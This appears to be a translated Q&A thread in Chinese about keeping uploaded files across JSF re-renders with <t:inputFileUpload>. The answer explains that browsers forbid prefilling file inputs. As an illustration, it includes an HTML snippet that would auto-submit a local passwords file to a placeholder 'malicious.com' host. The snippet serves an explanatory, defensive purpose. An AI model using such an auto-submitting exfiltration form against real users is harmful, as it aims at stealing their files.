我在我的应用程序中使用<t:inputFileUpload>
上传文件。所选文件(表示为UploadedFile
对象)仅在提交表单时保存到其绑定(支持bean中的成员)。当我在UI中使用动态元素时,表单将在不提交的情况下重新呈现。在这种情况下,值绑定是无效的,用户必须使用<t:inputFileUpload>
重新选择文件。
当然,这不是很友好。即使没有提交,<t:inputFileUpload>
抛出ValueChangedEvent
,我想注册一个事件处理程序,将新值(即上传的文件)复制到值绑定(即支持bean的成员)中。因为我想允许上传多个文件,所以我有一个UploadedFile
对象数组作为值绑定,在JSF中引用如下:
<ui:repeat value="#{bean.myFiles}" var="file">
<t:inputFileUpload
value = "#{file}"
storage = "file" />
</ui:repeat>
现在我想做这样的事情:
UploadedFile[] myFiles;
public void valueChangedHandler(ValueChangedEvent ev) {
UploadedFile file = (UploadedFile)ev.getNewValue();
UIComponent comp = ev.getComponent();
// This line is pseudocode - getValueBinding() is not available
UploadedFile bindingFile = (UploadedFile)comp.getValueBinding();
// Assigning the new value to the binding
bindingFile = file;
}
这样的事情可能发生吗?我还不明白如何调用ValueBinding getValueBinding(String)
使它发生像我想要的。
用户必须使用
<t:inputFileUpload>
重新选择文件
这不是JSF的限制。这是HTML的限制。<t:inputFileUpload>
组件呈现HTML <input type="file">
字段。能够预填充/保留这样的字段是一个巨大的安全漏洞,并且在HTML中是不允许的。
为了更好地理解安全漏洞,请看下面的纯HTML示例:
<form id="upload" action="http://malicious.com/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file" value="c:/I/guess/this/is/path/to/your/passwords.txt" />
</form>
<script>document.getElementById("upload").submit();</script>
如果它是支持的,一个人用上面的表单打开一个网页,passwords.txt
将被发送到服务器,没有任何用户的干预!
如果有些东西在HTML中是不可能的,那么JSF已经不能为您做太多(因为它基本上只是生成一些HTML)。